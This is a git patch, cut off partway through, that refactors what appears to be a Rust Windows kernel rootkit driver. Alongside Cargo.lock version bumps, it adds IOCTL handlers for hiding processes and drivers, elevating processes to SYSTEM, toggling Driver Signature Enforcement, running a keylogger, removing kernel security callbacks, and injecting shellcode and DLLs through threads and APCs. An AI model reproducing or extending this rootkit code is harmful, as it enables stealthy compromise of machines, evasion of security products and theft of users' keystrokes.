From 351a7d5feab78c3ee4c2d6b2eef0678d8b29d20a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20Victor?= Date: Sat, 31 Aug 2024 00:35:00 -0300 Subject: [PATCH] Complete refactoring of driver and client code to improve readability --- .gitignore | 0 client/src/cli.rs | 4 +- driver/.gitignore | 4 +- driver/Cargo.lock | 97 ++++----- driver/src/callbacks/ioctls.rs | 45 +++++ driver/src/callbacks/mod.rs | 1 + driver/src/driver/ioctls.rs | 27 +++ driver/src/driver/mod.rs | 1 + driver/src/includes/mod.rs | 46 +++++ driver/src/injection/ioctls.rs | 35 ++++ driver/src/injection/mod.rs | 9 +- driver/src/lib.rs | 29 +-- driver/src/misc/ioctls.rs | 27 +++ driver/src/{ => misc}/keylogger/keys.rs | 0 driver/src/{ => misc}/keylogger/macros.rs | 0 driver/src/{ => misc}/keylogger/mod.rs | 0 driver/src/misc/mod.rs | 4 + driver/src/module/ioctls.rs | 17 ++ driver/src/module/mod.rs | 2 + driver/src/process/ioctls.rs | 77 ++++++++ driver/src/process/mod.rs | 1 + driver/src/registry/ioctls.rs | 52 +++++ driver/src/registry/mod.rs | 1 + driver/src/thread/ioctls.rs | 45 +++++ driver/src/thread/mod.rs | 1 + driver/src/utils/ioctls.rs | 227 ++-------------------- driver/src/utils/macros.rs | 4 +- driver/src/utils/mod.rs | 38 +++- shared/src/ioctls.rs | 3 +- 29 files changed, 506 insertions(+), 291 deletions(-) create mode 100644 .gitignore create mode 100644 driver/src/callbacks/ioctls.rs create mode 100644 driver/src/driver/ioctls.rs create mode 100644 driver/src/injection/ioctls.rs create mode 100644 driver/src/misc/ioctls.rs rename driver/src/{ => misc}/keylogger/keys.rs (100%) rename driver/src/{ => misc}/keylogger/macros.rs (100%) rename driver/src/{ => misc}/keylogger/mod.rs (100%) create mode 100644 driver/src/misc/mod.rs create mode 100644 driver/src/module/ioctls.rs create mode 100644 driver/src/process/ioctls.rs create mode 100644 driver/src/registry/ioctls.rs create mode 100644 driver/src/thread/ioctls.rs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/client/src/cli.rs b/client/src/cli.rs index 644eae2..0628314 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -177,7 +177,7 @@ pub enum InjectionCommands { /// Type shellcode #[arg(long, short, required = true)] type_: Injection - } + }, } /// Enum representing the subcommands for process operations. @@ -300,7 +300,7 @@ pub enum PS_PROTECTED_TYPE { #[derive(clap::ValueEnum, Clone, Debug, Copy)] pub enum Injection { Thread = 0, - APC = 1 + APC = 1, } /// Enum representing the signers for process protection. diff --git a/driver/.gitignore b/driver/.gitignore index 88c714b..186c046 100644 --- a/driver/.gitignore +++ b/driver/.gitignore @@ -1,2 +1,4 @@ /target -/src/backup \ No newline at end of file +/src/backup +/src/misc/memory.rs +/src/misc/etw.rs \ No newline at end of file diff --git a/driver/Cargo.lock b/driver/Cargo.lock index c893177..5b9a48f 100644 --- a/driver/Cargo.lock +++ b/driver/Cargo.lock @@ -31,9 +31,9 @@ checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f" [[package]] name = "anstream" -version = "0.6.14" +version = "0.6.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b" +checksum = "64e15c1ab1f89faffbf04a634d5e1962e9074f2741eef6d97f3c4e322426d526" dependencies = [ "anstyle", "anstyle-parse", @@ -46,33 +46,33 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.7" +version = "1.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b" +checksum = "1bec1de6f59aedf83baf9ff929c98f2ad654b97c9510f4e70cf6f661d49fd5b1" [[package]] name = "anstyle-parse" -version = "0.2.4" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4" +checksum = "eb47de1e80c2b463c735db5b217a0ddc39d612e7ac9e2e96a5aed1f57616c1cb" dependencies = [ "utf8parse", ] [[package]] name = "anstyle-query" -version = "1.1.0" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391" +checksum = "6d36fc52c7f6c869915e99412912f22093507da8d9e942ceaf66fe4b7c14422a" dependencies = [ "windows-sys", ] [[package]] name = "anstyle-wincon" -version = "3.0.3" +version = "3.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19" +checksum = "5bf74e1b6e971609db8ca7a9ce79fd5768ab6ae46441c572e46cf596f59e57f8" dependencies = [ "anstyle", "windows-sys", @@ -127,9 +127,9 @@ checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" [[package]] name = "camino" -version = "1.1.7" +version = "1.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0ec6b951b160caa93cc0c7b209e5a3bff7aae9062213451ac99493cd844c239" +checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3" dependencies = [ "serde", ] @@ -185,9 +185,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.5.9" +version = "4.5.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64acc1846d54c1fe936a78dc189c34e28d3f5afc348403f28ecf53660b9b8462" +checksum = "ed6719fffa43d0d87e5fd8caeab59be1554fb028cd30edc88fc4369b17971019" dependencies = [ "clap_builder", "clap_derive", @@ -195,9 +195,9 @@ dependencies = [ [[package]] name = "clap-cargo" -version = "0.14.0" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6e2fd20c8f8c7cc395f69a86a61eb9d93e1de8fadc00338508cde2ffc656388" +checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e" dependencies = [ "anstyle", "clap", @@ -205,9 +205,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.9" +version = "4.5.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8393d67ba2e7bfaf28a23458e4e2b543cc73a99595511eb207fdb8aede942" +checksum = "216aec2b177652e3846684cbfe25c9964d18ec45234f0f5da5157b207ed1aab6" dependencies = [ "anstream", "anstyle", @@ -217,9 +217,9 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.5.8" +version = "4.5.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bac35c6dafb060fd4d275d9a4ffae97917c13a6327903a8be2153cd964f7085" +checksum = "501d359d5f3dcaf6ecdeee48833ae73ec6e42723a1e52419c79abf9507eec0a0" dependencies = [ "heck", "proc-macro2", @@ -229,15 +229,15 @@ dependencies = [ [[package]] name = "clap_lex" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70" +checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97" [[package]] name = "colorchoice" -version = "1.0.1" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422" +checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0" [[package]] name = "either" @@ -288,9 +288,9 @@ dependencies = [ [[package]] name = "is_terminal_polyfill" -version = "1.70.0" +version = "1.70.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800" +checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" [[package]] name = "itertools" @@ -334,15 +334,15 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.155" +version = "0.2.158" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c" +checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439" [[package]] name = "libloading" -version = "0.8.4" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e310b3a6b5907f99202fcdb4960ff45b93735d7c7d96b760fcff8db2dc0e103d" +checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4" dependencies = [ "cfg-if", "windows-targets", @@ -446,9 +446,9 @@ checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02" [[package]] name = "prettyplease" -version = "0.2.20" +version = "0.2.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f12335488a2f3b0a83b14edad48dca9879ce89b2edd10e80237e4e852dd645e" +checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba" dependencies = [ "proc-macro2", "syn", @@ -465,18 +465,18 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.36" +version = "1.0.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" dependencies = [ "proc-macro2", ] [[package]] name = "regex" -version = "1.10.5" +version = "1.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f" +checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619" dependencies = [ "aho-corasick", "memchr", @@ -524,9 +524,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustix" -version = "0.38.34" +version = "0.38.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f" +checksum = "a85d50532239da68e9addb745ba38ff4612a242c1c7ceea689c4bc7c2f43c36f" dependencies = [ "bitflags", "errno", @@ -564,18 +564,18 @@ dependencies = [ [[package]] name = "serde" -version = "1.0.204" +version = "1.0.209" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc76f558e0cbb2a839d37354c575f1dc3fdc6546b5be373ba43d95f231bf7c12" +checksum = "99fce0ffe7310761ca6bf9faf5115afbc19688edd00171d81b1bb1b116c63e09" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.204" +version = "1.0.209" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0cd7e117be63d3c3678776753929474f3b04a43a080c744d6b0ae2a8c28e222" +checksum = "a5831b979fd7b5439637af1752d535ff49f4860c0f341d1baeb6faf0f4242170" dependencies = [ "proc-macro2", "quote", @@ -584,11 +584,12 @@ dependencies = [ [[package]] name = "serde_json" -version = "1.0.120" +version = "1.0.127" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e0d21c9a8cae1235ad58a00c11cb40d4b1e5c784f1ef2c537876ed6ffd8b7c5" +checksum = "8043c06d9f82bd7271361ed64f415fe5e12a77fdb52e573e7f06a516dea329ad" dependencies = [ "itoa", + "memchr", "ryu", "serde", ] @@ -660,9 +661,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" -version = "2.0.71" +version = "2.0.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b146dcf730474b4bcd16c311627b31ede9ab149045db4d6088b3becaea046462" +checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed" dependencies = [ "proc-macro2", "quote", @@ -768,9 +769,9 @@ checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" [[package]] name = "version_check" -version = "0.9.4" +version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" [[package]] name = "wdk" diff --git a/driver/src/callbacks/ioctls.rs b/driver/src/callbacks/ioctls.rs new file mode 100644 index 0000000..f91d69d --- /dev/null +++ b/driver/src/callbacks/ioctls.rs @@ -0,0 +1,45 @@ +use alloc::boxed::Box; +use hashbrown::HashMap; +use shared::{ + ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK}, + structs::{CallbackInfoInput, CallbackInfoOutput} +}; +use wdk_sys::{IO_STACK_LOCATION, IRP}; +use crate::{handle_callback, utils::ioctls::IoctlHandler}; + +pub fn get_callback_ioctls(ioctls: &mut HashMap ) { + + // Lists callbacks. + ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATE_CALLBACK"); + let mut information = 0; + let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); + + // ? + ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK"); + let mut information = 0; + let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); + + // Remove a callback. + ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_REMOVE_CALLBACK"); + let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // ? + ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_RESTORE_CALLBACK"); + let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/callbacks/mod.rs b/driver/src/callbacks/mod.rs index a1073d0..e34a228 100644 --- a/driver/src/callbacks/mod.rs +++ b/driver/src/callbacks/mod.rs @@ -16,6 +16,7 @@ use { }; mod find_callback; +pub mod ioctls; /// Variable that stores callbacks that have been removed. static mut INFO_CALLBACK_RESTAURE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); diff --git a/driver/src/driver/ioctls.rs b/driver/src/driver/ioctls.rs new file mode 100644 index 0000000..5b7d030 --- /dev/null +++ b/driver/src/driver/ioctls.rs @@ -0,0 +1,27 @@ +use { + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, + wdk_sys::{IO_STACK_LOCATION, IRP}, + crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, +}; + +pub fn get_driver_ioctls(ioctls: &mut HashMap) { + + // Hiding a driver from loaded modules. + ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER"); + let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // Enumerate active drivers on the system. + ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATE_DRIVER"); + let mut information = 0; + let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/driver/mod.rs b/driver/src/driver/mod.rs index 662c3c8..9306d5d 100644 --- a/driver/src/driver/mod.rs +++ b/driver/src/driver/mod.rs @@ -18,6 +18,7 @@ use { }, }; +pub mod ioctls; /// List of target drivers protected by a mutex. static DRIVER_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); diff --git a/driver/src/includes/mod.rs b/driver/src/includes/mod.rs index e501cb3..d97808e 100644 --- a/driver/src/includes/mod.rs +++ b/driver/src/includes/mod.rs @@ -172,6 +172,33 @@ pub mod types { system_argument1: *mut PVOID, system_argument2: *mut PVOID ); + + pub type ZwSuspendThreadType = unsafe extern "system" fn ( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut u32, + ) -> NTSTATUS; + + pub type ZwResumeThreadType = unsafe extern "system" fn( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut u32, + ) -> NTSTATUS; + + pub type ZwCreateDebugObjectType = unsafe extern "system" fn( + DebugObjectHandle: *mut HANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + Flags: BOOLEAN, + ) -> NTSTATUS; + + pub type ZwDebugActiveProcessType = unsafe extern "system" fn( + ProcessHandle: HANDLE, + DebugObjectHandle: HANDLE, + ) -> NTSTATUS; + + pub type ZwRemoveProcessDebugType = unsafe extern "system" fn( + ProcessHandle: HANDLE, + DebugObjectHandle: HANDLE, + ) -> NTSTATUS; } pub mod enums { @@ -246,4 +273,23 @@ extern "system" { NewProtect: ULONG, OldProtect: PULONG ) -> NTSTATUS; + + pub fn ZwOpenThread( + handle: *mut HANDLE, + desired_access: ACCESS_MASK, + object_attributes: *mut OBJECT_ATTRIBUTES, + client_id: *mut CLIENT_ID + ) -> NTSTATUS; + + pub fn PsGetContextThread( + Thread: PETHREAD, + ThreadContext: *mut CONTEXT, + Mode: KPROCESSOR_MODE + ) -> NTSTATUS; + + pub fn PsSetContextThread( + Thread: PETHREAD, + ThreadContext: *mut CONTEXT, + Mode: KPROCESSOR_MODE + ) -> NTSTATUS; } diff --git a/driver/src/injection/ioctls.rs b/driver/src/injection/ioctls.rs new file mode 100644 index 0000000..a65b3a1 --- /dev/null +++ b/driver/src/injection/ioctls.rs @@ -0,0 +1,35 @@ +use { + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection}, + wdk_sys::{IO_STACK_LOCATION, IRP}, + crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler}, +}; + +pub fn get_injection_ioctls(ioctls: &mut HashMap) { + + // Process injection using ZwCreateThreadEx. + ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD"); + let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // APC Injection. + ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_INJECTION_SHELLCODE_APC"); + let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // DLL injection using ZwCreateThreadEx. + ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_INJECTION_DLL_THREAD"); + let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + +} \ No newline at end of file diff --git a/driver/src/injection/mod.rs b/driver/src/injection/mod.rs index 9480fa3..48ec11a 100644 --- a/driver/src/injection/mod.rs +++ b/driver/src/injection/mod.rs @@ -3,13 +3,11 @@ use { crate::{ includes::{ - enums::KAPC_ENVIROMENT::OriginalApcEnvironment, - types::{ + enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{ ZwCreateThreadExType, PKNORMAL_ROUTINE - }, - KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory + }, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory }, - process::Process, + process::Process, utils::{ find_thread_alertable, find_zw_function, get_module_peb, read_file, InitializeObjectAttributes @@ -29,6 +27,7 @@ use { }; mod callbacks; +pub mod ioctls; /// Represents shellcode injection. pub struct InjectionShellcode; diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 023d2bb..31dbe69 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -10,7 +10,7 @@ use { kernel_log::KernelLogger, core::ptr::null_mut, wdk_sys::{_MODE::KernelMode, ntddk::*, *}, - keylogger::SHUTDOWN, + misc::keylogger::{SHUTDOWN, keylogger}, crate::utils::ioctls::IOCTL_MAP, }; @@ -24,9 +24,9 @@ use { #[cfg(not(feature = "mapper"))] mod registry; mod callbacks; +mod misc; mod driver; mod includes; -mod keylogger; mod process; mod thread; mod module; @@ -59,7 +59,7 @@ pub unsafe extern "system" fn driver_entry( KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger"); log::info!("DriverEntry Loaded"); - + #[cfg(feature = "mapper")] { use includes::IoCreateDriver; @@ -131,7 +131,7 @@ pub unsafe extern "system" fn shadow_entry( null_mut(), null_mut(), null_mut(), - Some(keylogger::keylogger), + Some(keylogger), null_mut(), ); @@ -167,27 +167,6 @@ pub unsafe extern "system" fn shadow_entry( /// /// # Return /// - `NTSTATUS`: Status code indicating the success or failure of the operation. -/// -/// # Supported IOCTLs -/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges. -/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process. -/// - `IOCTL_TERMINATE_PROCESS`: Terminate process. -/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process. -/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process. -/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect. -/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads. -/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection. -/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules. -/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system. -/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE. -/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger. -/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks. -/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback. -/// - `IOCTL_REGISTRY_PROTECTION_VALUE`: Adding protection for registry key values. -/// - `IOCTL_REGISTRY_PROTECTION_KEY`: Added protection for registry keys -/// - `IOCTL_INJECTION_SHELLCODE_THREAD`: Process injection using ZwCreateThreadEx. -/// - `IOCTL_INJECTION_SHELLCODE_APC`: APC Injection. -/// - `IOCTL_INJECTION_DLL_THREAD`: DLL injection using ZwCreateThreadEx. /// pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs new file mode 100644 index 0000000..64d4d8b --- /dev/null +++ b/driver/src/misc/ioctls.rs @@ -0,0 +1,27 @@ +use { + alloc::boxed::Box, + hashbrown::HashMap, + wdk_sys::{IO_STACK_LOCATION, IRP}, + super::keylogger::set_keylogger_state, + crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, + shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}}, +}; + +pub fn get_misc_ioctls(ioctls: &mut HashMap) { + + // Responsible for enabling/disabling DSE. + ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENABLE_DSE"); + let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // Start / Stop Keylogger + ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_KEYLOGGER"); + let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/keylogger/keys.rs b/driver/src/misc/keylogger/keys.rs similarity index 100% rename from driver/src/keylogger/keys.rs rename to driver/src/misc/keylogger/keys.rs diff --git a/driver/src/keylogger/macros.rs b/driver/src/misc/keylogger/macros.rs similarity index 100% rename from driver/src/keylogger/macros.rs rename to driver/src/misc/keylogger/macros.rs diff --git a/driver/src/keylogger/mod.rs b/driver/src/misc/keylogger/mod.rs similarity index 100% rename from driver/src/keylogger/mod.rs rename to driver/src/misc/keylogger/mod.rs diff --git a/driver/src/misc/mod.rs b/driver/src/misc/mod.rs new file mode 100644 index 0000000..2f62aa7 --- /dev/null +++ b/driver/src/misc/mod.rs @@ -0,0 +1,4 @@ +// pub mod etw; +pub mod keylogger; +pub mod ioctls; +// pub mod memory; \ No newline at end of file diff --git a/driver/src/module/ioctls.rs b/driver/src/module/ioctls.rs new file mode 100644 index 0000000..545de11 --- /dev/null +++ b/driver/src/module/ioctls.rs @@ -0,0 +1,17 @@ +use { + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}}, + wdk_sys::{IO_STACK_LOCATION, IRP}, + crate::{handle_module, module::Module, utils::ioctls::IoctlHandler}, +}; + +pub fn get_module_ioctls(ioctls: &mut HashMap) { + ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATE_MODULE"); + let mut information = 0; + let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs index f2b0e67..ced794e 100644 --- a/driver/src/module/mod.rs +++ b/driver/src/module/mod.rs @@ -15,6 +15,8 @@ use { winapi::shared::ntdef::LIST_ENTRY }; +pub mod ioctls; + /// Represents a module in the operating system. pub struct Module; diff --git a/driver/src/process/ioctls.rs b/driver/src/process/ioctls.rs new file mode 100644 index 0000000..febdd9c --- /dev/null +++ b/driver/src/process/ioctls.rs @@ -0,0 +1,77 @@ +use { + core::mem::size_of, + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ + ioctls::*, + structs::{ + EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess + } + }, + wdk_sys::{IO_STACK_LOCATION, IRP}, + crate::{handle_process, process::Process, utils::ioctls::IoctlHandler}, +}; + +#[cfg(not(feature = "mapper"))] +use { + crate::process::add_remove_process_toggle, + shared::structs::ProcessProtection, +}; + +pub fn get_process_ioctls(ioctls: &mut HashMap) { + + // Elevates the specified process to system privileges. + ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ELEVATE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) }; + unsafe { (*irp).IoStatus.Information = size_of::() as u64; } + status + }) as IoctlHandler); + + // Hide / Unhide the specified process. + ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) }; + unsafe { (*irp).IoStatus.Information = size_of::() as u64; } + status + }) as IoctlHandler); + + // Terminate process. + ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_TERMINATE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status + }) as IoctlHandler); + + // Modifying the PP / PPL of a process. + 